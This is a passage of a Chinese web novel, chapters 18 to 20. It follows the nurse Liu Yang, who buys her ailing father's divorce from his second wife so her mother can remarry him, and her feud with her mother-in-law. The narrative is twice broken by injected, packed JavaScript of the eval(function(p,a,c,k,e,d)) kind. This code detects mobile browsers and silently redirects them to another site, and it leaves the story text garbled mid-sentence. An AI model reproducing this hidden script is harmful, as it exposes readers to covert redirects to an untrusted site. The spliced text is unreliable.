柳漾在门口站了站,以婆婆和老伴的年纪,两人携手了好几十年,老伴去世了,她怎么可能不痛苦?18岁的少女会为失恋痛苦,82岁的人就没资格为死别痛苦吗? 等到眼角的伤看不大出来了,柳漾回去看她妈。秦飞那句笑谈其实没错,她妈也是人,跟她一样要面对生活中的各种压力,工作上的,感情里的。 18. 第 18 章 陈玉兰爱干净,总说武汉灰尘大,两天不收拾到处就一层灰。柳漾拖地,陈玉兰去买菜,一起和和气气吃顿午饭。吃完饭,柳漾继续去看房子,她没和她妈说想买房的事,她妈把自家房子留给她了,她不能再让她妈操心。赵东南仍在四处借钱,借不到就再买小一点。 下午时,秦飞发来信息:“你安慰你妈,我教训我妈。” 柳漾一慌,打电话过去,秦飞说柳俊杰通风报信,大意是邻居更换热水器,工人在墙上打洞,吵得冯鹃睡不着,下楼买西瓜,发现陈玉兰和柳志华在凉亭眉来眼去,当面给了尴尬。 柳志华没跟冯鹃吵,进屋又去卫生间吐,半天没出来,冯鹃进去一看,他晕倒在地。柳俊杰吓坏了,对秦飞说:“爸爸醒了,老妈没有再骂了。” 柳漾心头烦恶,以陈玉兰的性格,绝对心虚气短,不跟冯鹃争辩,但她可不打算饶了冯鹃,结婚那天,她就跟冯鹃就结上梁子了。 冯鹃在宏达天下很出名,门卫大爷指点柳漾:“她住11栋。”还在业主群里吼了一声,“11栋老冯,卖藕汤的冯师傅,有人找你!” 冯鹃问谁找她,柳漾让大爷转告:“我姓陈,吃过她网店的卤味,找她订餐,长期合作。” 冯鹃抓着手机下楼,柳漾观察到她是独自一个人,现身迎上。冯鹃认出她,很警惕:“你来做什么?帮你妈报仇?” 这人一脸蛮横相,柳漾不耐烦:“说了找你合作。” “哟呵?”冯鹃拍拍石凳,一屁股坐下了,翘着腿问,“我跟你还能合作?” 柳漾说:“我们医院食堂缺个白案师傅,做早饭中饭的包子馒头,一个月五千,五险一金都买,我介绍你去做事,你肯不肯离婚?” 冯鹃想了想,回绝了:“做不了。” 既然她考虑了一下,说明这条件对她不差,柳漾问原因,冯鹃分析给她听,医院食堂供应量大,不管有几个白案师傅,她都得清晨就开工,但617医院离她家不近,不是骑三轮车就能到的地方,她又得凌晨4点多就起床。这十几年她都这样过来了,但以后柳志华不在了,起五更的工作她没法做,不然没人管柳俊杰。 柳漾问:“秦飞呢?” 冯鹃摇头:“飞飞不行,他哪像会做事的人?杰杰明年就小升初了,很关键,我找事做,不能找太麻烦太远的。” 柳漾环顾小区,一共15栋房子,每一栋都有两三个单元,规模不小,她提个建议:“你要不要试试搞个托管所,接小区孩子放学,做顿晚饭。” 冯鹃哈地一笑:“你爸也建议过,我也做不了。我不怎么喜欢小伢,吵人,再说现在的小伢金贵,稍微不注意就吃不了兜着走。” 柳漾嫌石凳被太阳晒得烫,把包扔在石凳上,垫着坐了:“那要怎样你才肯离婚?” 冯鹃斜眼看她:“我为什么要成全你妈,我没这个义务吧?” 柳漾说:“你可以提条件。” “一百万,一口价。”冯鹃故意狮子大开口,带点笑意,看柳漾的反应,柳漾果然被她气到了。 冯鹃得意:“一百万都掏不出来,还敢找人谈条件,陈玉兰养的姑娘就这水平?” 柳漾针锋相对:“我看你水平也不怎么样,还以为你对老柳有几深的感情,一百万就拱手相让了。” 冯鹃斜眼:“你还真掏得出一百万?” 柳漾嘁道:“你要一百万做什么?” 柳漾长得像柳志华,且被冯鹃发觉是直脾气,跟陈玉兰不像,冯鹃不烦她,照实说了。有两个一起摆过摊的人想拉她入伙,在小区旁边开火锅店。门面也看好了,是个打着十元店旗号的杂货店,主打几十块钱一床的棉花被,兼卖锅盆碗盏。 柳漾的车就停在十元店门口,对它有点印象,她这几天看房,频频跟中介打交道,还被推销过商铺,对门面费有个大概的了解,略一盘算:“以它的面积,再加装修费,设备费,服务员人工费,你有一百万资金的话,一个人就把火锅店开起来了,他们找你搭伙,不可能让你出所有钱吧?” 冯鹃感兴趣了:“你还算有点板眼,那你掏得出多少钱?” 柳漾问:“他们要你掏多少钱?” 冯鹃回答:“这个不一定,还在谈。” 柳漾说:“现在门店生意都难做,你不怕亏本?” “不做事才不怕亏本,做事就都有风险。赌赢了就是赚,亏了就自认倒霉,不扯债就行。”冯鹃笑起来,“我以前买餐车,学这学那,也投资了不少钱。那时候手上就那点钱,也怕亏,不也没亏,还把飞飞供到大学了,杰杰也养到这么大了。” 柳漾说:“不是你一个人养的,老柳也在赚钱。” “头几年老柳的钱还房贷。”冯鹃没好跟柳漾多说,秦刚撞死了人,她赔了死者家属三万块,还扯了债,摆摊的钱都是柳志华出的。 柳漾沉吟:“为什么要开火锅店,那两个人有优势?” 只要多拉几个人入伙,把火锅店开起来,冯鹃就有信心赚到钱。即使柳漾是陈玉兰的女儿,她也顾不得许多了,好好地吹捧了那两个人。 男的是四川人,摆摊时主打麻辣烫,他调底料是一绝,做凉菜也很会调味;女的在大饭店跑过堂,厨艺也好,最擅长蒸菜和小炒,冯鹃再说自己:“我的铫子煨汤,这条街就没不爱喝的,炒花饭炒面和卤菜也都好吃,不信你问你爸。” 说起饮食,冯鹃容光焕发,柳漾笑了,冯鹃问:“你掏得出多少钱?” “你缺多少钱?你开个价。”冯鹃快人快语,举止大剌剌,柳漾不算讨厌她,在她心里,比张玢讨厌的人不多。 冯鹃盘算了一下:“你好说话,我也好说话,各让一步,五十万。” 柳漾不满:“我问你个问题,你家秦飞存了多少钱?” 冯鹃嗤笑,没回答。柳漾说:“秦飞存款少,我就拿得出五十万?你这不是合作的态度。” “你爸说你嫁得好,男将是电信局干部,公婆都在机关单位坐办公室。”武汉老一辈很多人都不把丈夫称为老公,而是男将,将领的将,听起来很威风。 柳漾不接招:“他拿的是死工资。就算他拿得出来,我也经不起他一问,我怎么跟他说,我说我想替我爸赎身,你看他肯不肯?” 冯鹃拍桌大笑,笑声震天响:“你爱说笑随了你爸。我不为难你,三十万,落实价,再少免谈。” 柳漾双手交握,冥思苦想,冯鹃起身要走:“算了,你当护士没几年,哪来的钱。” 柳漾没吭声,冯鹃走了:“护士本来也赚不到钱,赚点钱也是辛苦钱。” 柳漾心生一计:“等着。” 冯鹃急着回家做晚饭,站住了,但没走回来,柳漾说:“这钱算我投资,不要你还本钱,赚钱了你给我分红,没赚到我认栽。” 两人苦苦交涉,达成一致,柳漾支付30万给冯鹃,但她目前只掏得出5万,余下25万分期付款,每年给冯鹃转账3万,最后一年3万。冯鹃则需要在火锅店盈利之后,每年给柳漾分红,比例为她赚取利润的三成。 小区拐角有家复印打字店,柳漾下载了投资协议模板修修改改。冯鹃拿张纸划拉,她和柳志华有32万存款,两个合伙人游说她投资25万,她咬咬牙也拿得出来,但投资有风险,要做好血本无归的准备。 如果只抚养柳俊杰一个孩子,存款还剩好几万,勉强也够用,但秦飞老大不小了,虽然和女朋友分了手,但哪天可能跟别人谈了,谈个一年半载就结婚很普遍,冯鹃不敢让自己手头太紧,连点彩礼钱也拿不出来。 既然柳漾肯掏钱,冯鹃难题得解。别的不说,柳俊杰一直读到大学,她都不用再操心学费生活费了。 柳漾打印了协议,递给冯鹃:“看仔细点。” 两人互加微信,约定等冯鹃和柳志华办妥离婚手续,柳漾第一时间就兑现五万块首付。冯鹃逐条审阅,在另一边签了名。 十元店还在做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦飞纳闷:“那你哭什么?未必你还吵不赢他?” 武汉话里,未必是难道的意思,秦飞听柳志华说过,湖南人也这么说。冯鹃不想回答,但秦飞一定要问个水落石出,她烦了,抹布一甩:“想到下午看的小说,越想越怄气,忍不住。” 家里的干货消耗得差不多了,冯鹃不用再每天早起去批发蔬菜,网店生意一般,订餐少,她就近在菜市场买一点就行。但生物钟还没调过来,一到清晨四点多就自然醒了,想看电视吧,不开声音不过瘾,开声音又会吵到柳志华,秦飞推荐她听小说,插上两只耳塞,既不影响别人,还能催眠。 秦飞下载了悬疑探案小说,冯鹃不爱听,自己找了一些重生宅斗小说,诸如《总裁老爸宠上天》、《驸马和我》之类,做家务事都在听。秦飞听过几耳朵,为他老妈的口味发笑,但那些小说千篇一律有爽劲,除了开头要多惨有多惨,女主角很快呼风唤雨,快意人生,不至于让她哭成这样。 秦飞料定他妈在扯谎,这性质就严重了:“我去找老柳!” 冯鹃说出离婚,秦飞惊着了,冯鹃故作潇洒,说她下午骂完了,解恨了,陈玉兰爱捡包袱让她捡去。秦飞不太信她:“这不太像你,你不怕当错误了?” “我有杰杰,杰杰又乖又聪明,我有他,就不可能是错误。”冯鹃大手一挥,很有派头,“退一步海阔天空,我解脱了。” 秦飞盯住他妈,记忆中他没见过他妈哭得这么惨,可见心里还是舍不得柳志华的,也可能是柳志华病得太狠,她于心不忍。他打开手机银行,给他妈看余额,他新工作收入比以前高,势头也好,在做第二个项目了,阿豹帮他接了点私活,里里外外收入比老柳高得多。 冯鹃顺势说出开店打算,要求秦飞从现在开始不能再乱花钱,得自己准备结婚费用。秦飞说:“我转账给你,你帮我存着。” 冯鹃不要:“你的钱你自己安排,学点理财。” “不行。”秦飞刷刷刷转到冯鹃微信上,冯鹃腾出手收了,看了几遍,笑开了花,夸他懂事了,要保持。秦飞低头看他妈,柳漾说得对,人都慕强,父母也不例外。 19. 第 19 章 赵东南仍然凑不够钱,但媳妇还不肯回家住,他把自己关在书房里。赵捷成掏出一张银行卡,他用他弟弟的名义开的户,攒了6万多私房钱,赵东南没要,他的缺口远远不止6万,哪能要他爸的。 晚上赵东南和柳漾吃饭,他愁得想办网贷,柳漾不同意,提出买个小两居。赵东南嫌五六十平方米太小,可是劝柳漾回家住,多攒点钱再说,他张不开嘴。 回家路上,等红绿灯时,旁边那车百来万,司机平头正脸,看不出过人之处,但戴的金表比车还贵。在欧洲度蜜月逛百货公司,赵东南见过好几个国人都买了这款。 当时柳漾就很感叹,他们衣着打扮谈吐气质都很普通,但怎么那么会赚钱,他们都是怎么赚到钱的?赵东南想得分了神,险些剐蹭到旁边的车。已经很努力了,为什么还是赚不到钱?不仅赚不到钱,连家庭关系都处不好。媳妇是直脾气,妈是犟脾气,谁也不服输,明明三十岁不到,他觉得自己的中年危机来得过于迅疾了。 回到家,赵东南上楼,张玢喊他:“宇翔生的龙凤胎满月了,星期六去喝酒。” 赵东南心头火气直冒,猝然发作:“别人生龙凤胎是别人有本事,叫你跟漾漾道个歉,怎么就那么难?” 张玢和刘宇翔的母亲老谢是同一个办公室的同事,赵东南从小就被张玢拿去跟刘宇翔比,刘宇翔貌不惊人,但嘴甜会玩,找了一个富二代结了婚。 富二代家里给公婆买了大平层,张玢去参观,大平层将近三百平方米,推窗看东湖。张玢心里酸,儿子身高长相样样都比刘宇翔强,读的还是名牌大学,刘宇翔都能找到富二代,儿子何至于找个小护士? 当初,柳漾来家里做客,张玢语气夹枪带棒,柳漾跟赵东南提了分手:“实话实说,你人很好,但你妈比较讨厌。” “你跟我过日子,不是跟她过日子。”赵东南好声好气,再三保证他无条件站柳漾这边,事到如今,他很愧疚,柳漾的直觉很准,他妈果然成了两人之间的障碍。更烦恼的是,他活到快三十岁,仍不具备独立自主的能力,没法给自己和媳妇安个小窝。 老谢上个月当了奶奶,儿媳生了一对龙凤胎,张玢又很酸溜溜,赵东南说:“宇翔命好福气好,都是他的事,你从小让我跟他比,我受够了,请你不要再提这个人,跟漾漾也别提。”张玢听得直翻白眼,这下赵东南居然借龙凤胎满月酒的话头逼她跟柳漾道歉,她火大,桌子一拍,回屋睡觉。 砸筷子是话赶话的没控制住脾气,但柳漾敢骂她不要脸,要道歉也是柳漾先道歉,哪家儿媳妇有她这么大的气性,别人是富二代,都肯铆足劲哄婆婆,又是奢侈品手提包,又是羊绒大衣的。张玢心里窝火,把赵捷成也骂了一通。 赵捷成等她骂完了再劝她,再怎样也不能让儿子伤心:“他工作不顺心,你帮不上忙,给漾漾道个歉,要不了你的命吧?儿子心情不好,工作上再出问题怎么办?” 张玢勉强服软:“你代表我,叫她明天回来吃饭。” 赵捷成拿起张玢手机,张玢没反对,他以张玢的口吻发去信息:“漾漾,眼睛好点没?妈那天太急躁了,向你道歉,明天是你的白班吧?下班回来喝鱼汤。” 柳漾没回复,张玢一分钟看五遍手机,柳漾仍没回复,她气得又发脾气:“给台阶还不下,到底是哪个给脸不要脸?” “九点多了,可能睡了,明天再说。”赵捷成上楼,赵东南趴在网上看房价,愁眉不展,“明天漾漾还不回,我就带妈去医院找她。” 第二天早上,柳漾回了张玢的信息:“医院旁边新开了一家店,听说很好吃,我下午四点下班。”这意思很明显,要张玢亲自亲口去道歉,张玢涨红了脸,“她就不怕闹狠了,你不要她?” 赵东南苦笑:“妈,你儿子条件没你想的好,家里就两套房子,这套还有贷款。” 张玢说:“到处都是剩女,男的再婚比女的好找。” 新来的实习生们都说,剩女这个词是光棍发明的,故意吓唬女人,一慌神,一焦虑,就把自己贱卖了,早些年还真骗到一些,新一代可不会再上当。赵东南觉得这话很有趣,查了查数据,光棍果然更多。他说:“你自己去看,全世界不结婚的女人越来越多了,男人着急了。” 张玢才不信他的歪理邪说,赵东南发急:“伤到眼睛不是小事,妈,你是真把漾漾气到了。要是那天戳个正着,你想想后果。要是她妈这样对我,你怎么想?” 张玢嘴很硬:“我下班再给她打电话,让她回来谈。” 柳漾昨晚收到张玢的信息,懒得理睬,早上赵东南和她通话,首付五成是拦路虎,他在现实面前败下阵来:“漾漾,我妈道歉的话,你再给她个机会好不好?” 柳漾说:“买个五六十平应该够吧?” 赵东南说:“李康和谢晓宁都反悔了,都说媳妇不同意,只能动用私房钱,借我一两万。一两万哪够。” “那我回我妈家里住吧,正好陪陪老柳,冯鹃松口了。不过,我家的事不用说。”赵东南的语气很低落,柳漾听得心软,张玢千错万错,都不能怪到赵东南头上,她说,“你妈下班找我赔罪,我就考虑看看。” 柳漾挂了电话去忙,综合病房传来哭声,有个急性重症心肌炎的患者病情极其凶险,但她家境困难,农村合作医疗报销的那点钱撑不住,已经欠了几天的费用。 像患者这种重大急症,哪怕她家一分钱也没有,也得对她实施基本医疗措施。科室主任徐怡翎一边向院里申请,一边先治着,患者的爸爸去借钱,妈妈哀求徐怡翎救她女儿,哪怕只有一线希望,她也会继续借钱,救女儿一条命。 患者惟一的转机是用ECMO,它是一种暂时替换心肺工作的装置,俗称人工肺,但它造价高昂,整个617医院就一台,使用它,一周就得花几十万,绝大部分不能报销。最可怕的是如此昂贵,存活率仍不到三成,活下来也可能丧失生活能力,除非富豪阶层,一般人都承担不起。 也有人赌赢了,心脏恢复部分功能,可以维持基本的日常活动了。但高端医疗显然是这个家庭承受不了的,不过,诊疗过程中,家属享有知情权,如果徐怡翎不告诉患者家属,若有天被告上法庭,她会输官司。 面对患者妈妈的期待,徐怡翎再于心不忍,也只能告知实情,那双殷殷期盼的双眼瞬间就黯淡了。那女孩才24岁,她妈妈悲痛欲绝,痛恨自己没用,不会挣钱,连借都借不到,她救不了女儿了,哭得背过气去,柳漾去趟卫生间,靠在隔间哭了。 形势所迫,买不起房子,每个月还得存钱,不然明年没法向冯鹃上供。医院宿舍只能提供一张床位供值班人员应急,非特殊情况申请不到单身宿舍,在外租房吧,就那点工资,更别想攒下钱,回娘家长住吧,妈已经为爸的病情茶饭不思了,再得知她被婆婆欺负,妈妈该多难受。 那句“吃我的住我的”越想越难听,柳漾宁可一直住医院宿舍,但赵东南是她丈夫,何忍这样逼他?她总不能因为婆婆的恶行,就跟赵东南分居下去吧?仍得回去跟那讨厌的女人住在一起。难怪怨憎会是跟死亡相提并列的人生至苦。但就这样搬回去,不甘,真不甘。可是要怎样才能赚到钱?赚钱真难。柳漾止不住眼泪。 冯鹃召唤柳漾,啪地发来一张离婚证,柳漾转账5万,她秒收。柳漾缓了缓,发去一条文字:“协议已经生效,火锅店我会全程参与。” 5万到手,冯鹃有点小喜悦,俏皮地回道:“欢迎股东指导工作。” 柳漾抹去眼泪,火锅店居然成了现阶段她惟一能赚到钱的可能。她想早点摆脱张玢,就只能和后妈,不,前后妈冯鹃为伍。前后妈这个称呼,让她把自己逗笑了,打起精神继续上班。 出了民政局大门,冯鹃抖着离婚证,连声说她解脱了,哈哈笑着朝前走了半天,柳志华还站在门口没动,她回头吼他:“快点,538来了!” 柳志华慢慢跟上来。538下人上人,冯鹃拉住他向前跑,但这人病病歪歪,跑都跑不动,她松开手,算了。 538很快开走,冯鹃仰头查看公交站牌,还有几趟车也能到家,柳志华把离婚证揣进包里,她有点心烦:“你滚到陈玉兰那里去!” 下一趟538来了,冯鹃没跟人挤,守着柳志华上了车,自己再上车,拉着吊环,圈出一个位置,一脸鄙视:“你靠着窗子站,莫倒了。” 有个年轻女孩让了座,冯鹃意识到柳志华病体沉重,到了连陌生人都看得出来的地步,说了一连串谢谢。下车往小区走,她问柳志华中饭想吃什么,柳志华突然说:“谢谢你。” 冯鹃哼了一声,明天柳志华一出门,她就去找合伙人签投资协议,人不想事心就不烦。 陈玉兰简单通知柳漾:“你爸说明天去复婚。”柳漾盯住这几个字,颇感人生荒谬,张玢嫌她是单亲家庭,但从明天开始,她又有完整的娘家了。虽然她知道,单亲家庭往往是“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574765|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你家没钱”的婉约说法罢了。她妈要是张玢的顶头上司,或是亿万富翁,哪怕离个十次八次婚,张玢也不会公然嫌她。 柳漾快下班的时候,那位急性重症心肌炎患者心跳停止,心肺复苏后没救过来。她爸妈哭得以头抢地,尤其是妈妈,她承担不起ECMO费用,可能很久很久都得生活在痛苦里了。 柳漾在医院宿舍暂住,下了白班去观摩麻醉科的医生气管插管手法。急诊中心患者病种复杂,危重患者多,时间就是生命,急诊中心最初几分钟的抢救往往是成功的关键,像呼吸衰竭导致的缺氧乃至意识丧失,是必须立刻做气管插管的,而且只有几分钟,缺氧时间稍长,患者就算抢救过来,也很可能因为脑死亡变成植物人。 医护人员都接受过急救训练,但在患者口腔紧闭,牙关紧咬的情况下,插管很有难度,麻醉科医生每次全麻之前都会履行这道程序,柳漾找他们讨教事半功倍,护士掌握的知识点越多,越能在抢救过程发挥作用。 晚上六点多,柳漾接到赵捷成的电话:“漾漾还在医院吧,我和你妈妈来找你。” 柳漾眉一抬,张玢竟然真肯降尊纡贵来医院请她回家?太阳从西边出来了。但张玢被赵捷成扶来,她才发现又想多了。 张玢下班回家,阳台上晾的床单落到楼下伸在窗外的晒杆上,她担心再被风吹走,等不及电梯上来,走了楼梯。 楼道里堆满了纸盒纸板等破烂,气味难闻,连窗户都被遮住了,昏乎乎地看不清。张玢打开手机手电筒,掩住鼻子小心而行,一不留神被矿泉水瓶子绊了一下,险些摔倒,她吃了一吓,正喘气,堆积如山的纸盒子背后探出一个人:“过细点。” 分明是关切,张玢被吓一跳,发了毛:“跟个僵尸样的,日子又过不下去!” 婆婆笑呵呵,把纸盒子往旁边扒开点,拧开手电筒:“我照着你走。” 几个可乐罐子骨碌骨碌滚下楼梯,张玢伸脚,狠狠踩扁一只,再往下走,被破铜烂铁蹭到裤腿,勃然道:“这楼梯是消防通道,出了事跑不赢,我完了,你更完了,把牢底坐穿也赔不起!” 婆婆赔笑:“好,好,我收拾,马上收拾干净。” 张玢几次在电梯里看到婆婆抱着纸盒子,但不走楼梯还不知道这么可恨,她伸腿,从婆婆头上跨过去,边走边拨打物业电话:“物业啊?我要投诉!” 啪,张玢迎面挨了一耳光,她惊叫着,婆婆的儿子拳打脚踢,张玢被打肿了眼睛,牙齿也被打掉了两颗,柳漾为她清淤时,她疼得嘶嘶叫唤。 物业有一人陪同而来,他们答应对楼道作出整改,但婆婆的儿子不肯赔偿张玢医药费,因为她出言不逊在先,左一句僵尸,右一句自私自利品德败坏,还跨过婆婆的头,当儿子的不能忍。 张玢怒了,香榭水岸不是便宜小区,能住这里的人日子都不差,婆婆把自己搞得这么寒酸,平时丢人现眼不讲脸惯了,但她是受害人,这件事她要追究到底。 婆婆把消防通道堵住不对,她儿子打人也不对,但张玢用僵尸代指婆婆,讥讽她脱不了乡里习气,柳漾不由恶毒地想,婆婆儿子还是下手轻了。婆婆节省,想必是从前过了艰苦生活,居安思危,她挡你的路,让物业责令整改便是了,但你让她承受胯下之辱,那儿子没打断你的腿就算不错的。 赵捷成听不下去:“你少说两句!” 柳漾带张玢去找医生补牙,恶人自有恶人磨,有人替她出了恶气,她对于搬回香榭水岸住,没那么排斥了。 赵东南拎来外卖,柳漾和赵捷成分头吃了,张玢换上临时牙齿出来,医生交待:“下周再来安上烤瓷牙。” 张玢一脸惨样,赵东南又气又烦:“在家耀武扬威,我们三个都让着你,出去吃亏了吧?” 张玢气鼓鼓,赵捷成对她丢个眼色,她被迫认了错:“漾漾啊,今天说给你炖鱼汤,炖不成了,我这几天在家休息,你想吃什么就说。” 赵东南替他妈卖乖:“妈被人打成这样,你帮着上药换药,她做饭答谢你,怎么样?” 张玢别扭道:“漾漾想吃旁边那家店,你带她去。” 柳漾心里犹有不甘,但明白这是个可以下的台阶,她挽着赵东南的胳膊去车位,只和他说话:“你媳妇人不错吧,宽宏大量,以德报怨。” 张玢怎么想,柳漾不在意,脸已经撕破,下一次张玢再对她不利,她就还手了。张玢的牙齿不经打,前人为她作出表率了。 20. 第 20 章 陈玉兰和柳志华如期复婚,两人都很低调,只拿着结婚证自拍了一张合照。照片直观地显示出柳志华已经瘦得脱了人形,柳漾泪眼朦胧。她读初中时,父母已离婚,柳志华去她学校看她,总给她买上许多吃的,说她抽条抽得太狠,瘦成了一桠刺。 一桠刺是团风方言,柳漾总说像在形容老人家,但照片里的柳志华已如枯藤老树,刺到她心里去。早上吃完饭,柳漾督促张玢吃了药,拎包出门:“中午在我妈家里吃饭,别等我。” 她知道张玢关起门就会骂娘,但讨好张玢,张玢也一样骂,随便她。昨夜赵东南搂着她说尽好话,他惭愧于让她受了委屈,但没攒够首付的钱,只能再忍受一段。两人都挺难过,赚钱难,连借钱都这么难,光是无风无浪地活着,好像就耗尽所有力气和运气了。 柳漾买了菜,和爸妈吃顿团圆饭,庆祝一家人重聚首。饭后,她对沈维感叹,她妈复婚后目光大放光彩,兴奋至极,她觉得自己钱没白花:“我妈是真的好高兴,我为老柳赎身好像是正确选择。” 冯鹃向柳俊杰隐瞒离婚,只说柳志华病得重,所以搬出去,让女儿照顾:“你那个姐是护士,照顾人是专业的。” 柳俊杰很伤心,秦飞带他去参观酸奶品牌的车间,前段时间,阿豹帮秦飞揽到私活,为品牌安装调试杀菌机,柳俊杰对输送带装置很感兴趣:“电视广告的巴氏杀菌法就是这些吗?” “就是你眼前看到的。下周我们去参观特种机器人?”秦飞使出千方百计,哄得他弟弟对未来满怀憧憬,回到家,阿豹奉命送来一箱酸奶,柳俊杰对他和秦飞都很崇拜,“我以后也要学自动化,学人工智能!” 冯鹃听得津津有味,她发觉大儿子变成熟了。等到火锅店的门面谈下来了,冯鹃、程东升和肖晓钰三人正式合伙,把各自的子女都喊到现场,开了碰头会。 程东升投资份额最高,是大老板,等月底敲定装修方案,二老板冯鹃主抓施工,程东升跑建材市场,桌椅板凳灯具和后厨用品也都归他落实,三老板肖晓钰则进行员工招聘和培训。 子女们各司其职,秦飞领到了开业之前的宣传工作。冯鹃和柳漾建立了私下往来,按照约定每天通气。柳漾有个患者是开室内设计公司的,她把大致情况和对方一聊,对方主动打对折,还派出助理去门店了解老板们的想法。 设计师和三个老板碰出装修思路:干净朴实土气。柳漾收到反馈:“土气?” “乱中有序!”冯鹃学着设计师的口吻说话,下午老板们和设计师反复聊过,干净是相对的,千万不能看着太整洁高档。这一带是居民生活区,连小区都不高档,火锅店装修得太好,谁肯光顾? 肖晓钰说:“我年轻时待的那家店装修豪华,生意不好,哪怕把价格招牌都贴在门窗上,好吃实惠,很多人也不敢进去,怕挨宰。” 冯鹃说:“就跟摆地摊一样,东西不见得比商场便宜,但心态不同,买衣服也是,就爱往小店里钻。” 设计师懂了,很多小市民只追求便宜实惠口味好,对用餐环境要求不高。柳漾表示受教,她先前以为冯鹃他们把装修预算抠得紧,但他们思路是正确的。 三个老板以前都是小本生意,进进出出自己就能算账,开店不一样,还得跟彼此商量,程东升跑了几天建材市场就吃不消,嚷着要请专业会计,这钱省不了。陈玉兰是财会学校毕业的,柳漾试探了一下,但她绝不肯跟冯鹃合作。 冯鹃也想到陈玉兰了,打了十几年交道,陈玉兰的性格她有数,她拿得住。但不能多想,一想就怄气。 肖晓钰的女儿在家政公司当副总,找到单位的会计谈合作,会计答应每个月过来做做账。老板们都是中年人,最高学历的是冯鹃,但她哪还学得进东西?秦飞等下一代被迫走上了自学财务之路,自家生意,看不懂账簿不行。 * 沈维和上海一家私立医院签了合同,医院以妇产科和医疗美容科闻名,她依然只和柳漾联系,她父母又来过医院几次,但徐怡翎明确告知不可能保留沈维编制,他们心灰意冷。 沈维从前的手机号作废,微信也不用,完全联系不上,父母找柳漾帮忙劝,柳漾问:“一辈子不结婚,你们能接受吗?” 沈父不悦:“不催就不催,哪有不结婚的道理?违反社会规律!” 柳漾问:“怎么就违反了?她是你姑娘,违反了你们是不是要大义灭亲送她去坐牢?你看大牢收不收。” 沈母急得直哭:“该是什么年龄就做什么事,她任性不听话,我们不管就是不负责任!” 女病人都听不下去了:“你们是要她听话,还是要她幸福?” 沈父断然道:“要她听话,就是为了她幸福!” 有个才半岁大的孩子高烧,宋青小心翼翼地输液,但针头还没扎去,孩子就害怕得手脚乱动,哭闹不止,柳漾专心哄着他,再不理会沈家父母。接受别人对幸福的感受跟你不一样,这句话很难懂吗? 自从搬回香榭水岸,每次看到张玢,柳漾都很烦。有天又是她的夜班,救护车送来一个农民工,坠落的钢筋贯穿了他的胸腔,情况很不乐观,可他还不到30岁。农民工的父母都在乡下,医生示意他妻子签麻醉同意书,妻子抱着不满周岁的儿子,手一直在抖,柳漾替她抱着孩子。 签完字,孩子的妈妈哽咽着说:“你们一定要救救他,一定要救救他。”但是两个小时后,医生宣布抢救无效,她双腿一瘫,被邵清平抱住,她抓着邵医生的衣襟,嚎啕大哭。 孩子伸手抓柳漾的胸夹,咧嘴笑得甜。柳漾托着孩子的小手,温软稚嫩,她一下子就泪湿眼眶,很久以后孩子才会懂,在他极年幼的时候,他和他爸爸就隔着一扇门,但他再也没有机会牵起爸爸的手了。 下班后,柳漾对赵东南提出回家住一阵,这是她爸在人世最后一段时光了。不想跟张玢住在一个屋檐下也是重要原因,但没必要跟赵东南说。 这次的借口是考试在即,想回宿舍温习,清净点。张玢想发脾气,忍住了,但她瞧着柳漾的脸色不对,追问赵东南,柳漾是不是又看她不顺眼,赵东南连连说哪有哪有,但表情也不自然,张玢疑心两人有事瞒她。 柳志华和陈玉兰复婚那天,穿的仍是柳漾结婚当天穿的浅蓝条纹衬衫,柳漾让赵东南陪她去买衣服和鞋子。柳志华已经吃不下多少东西了,将来他要走,得有一身像样的衣物。 柳漾收拾完自己的衣服出来,张玢看她眼睛都红了,越发认为有蹊跷。赵东南的车开出,张玢叫的网约车也到了,让司机跟上。待她看到那两人去了男装品牌店,更觉纳闷,柳漾陪赵东南买衣服,这有什么不能说的? 张玢换辆车继续跟踪,路越走越熟,她确定柳漾是回娘家。那她为什么说是回医院宿舍?有鬼。小两口有天大的事瞒她。 再跟下去会被发现,张玢在小区外面的小吃店守着赵东南出来。柳家三口把赵东南送到车位处,张玢心一咯噔,柳志华瘦得可怕,走路都得靠人搀扶,等柳家三口走了,她跑向赵东南,赵东南一惊,她劈头问:“岳老头得什么病了?” 赵东南不想说,张玢虎着脸:“既然得了病,那我买点东西去看他,他总得说实话吧?” 赵东南只能说了,张玢一张脸顿时乌漆嘛黑,她只以为是重病,没想到是癌症,而且没多少日子了。她气急败坏上了车:“以前叫你分手不分,一点也不听话!”没等赵东南反应过来,她又问,“你什么时候晓得的?” 赵东南说:“漾漾去桂林才晓得的,你还乱怀疑是打胎去了。” 张玢更加窝火,柳志华这点岁数就得了绝症,鬼晓得柳漾会不会遗传到不好的基因。她很纳闷,婚检结果她看过,柳漾很健康,难不成医院帮她做了手脚? 赵东南皱起眉:“妈,好不容易把漾漾哄回来,你不要再生事。” “我生事?”张玢火气很大,老谢家刘宇翔命好,岳老头给他开公司,住大平层,听说汤逊湖那幢别墅也打算送给他,自家儿子凭什么就摊上这种家庭,一点光没沾到,还被拖了后腿,她给赵东南下了通牒,“我不管你用什么办法,换家医院,让漾漾再去做个体检,仔仔细细查清楚。” 赵东南本能地反驳,张玢一步不让:“现在人的寿命长,退休年龄都延迟了,你岳老头五十岁就得了癌,基因肯定有问题,你得为下一代负责,不能马虎了。” 赵东南表了态:“漾漾每年都体检,她不会骗我,4月份婚检各项指标也不错。等我跟她正式备孕,就再去做个全面体检。” 张玢回家查资料,网上既有说胰腺癌遗传几率低,也有建议后代每年做一次筛查,她坐立不安。就算柳漾没问题,隔代遗传怎么办?赵捷成被她说得也有点紧张,但第二天就想明白了:“天底下就数你最爱着急,等他们两个打算要伢的时候,再查仔细点就行了,不能总是自己吓自己!” 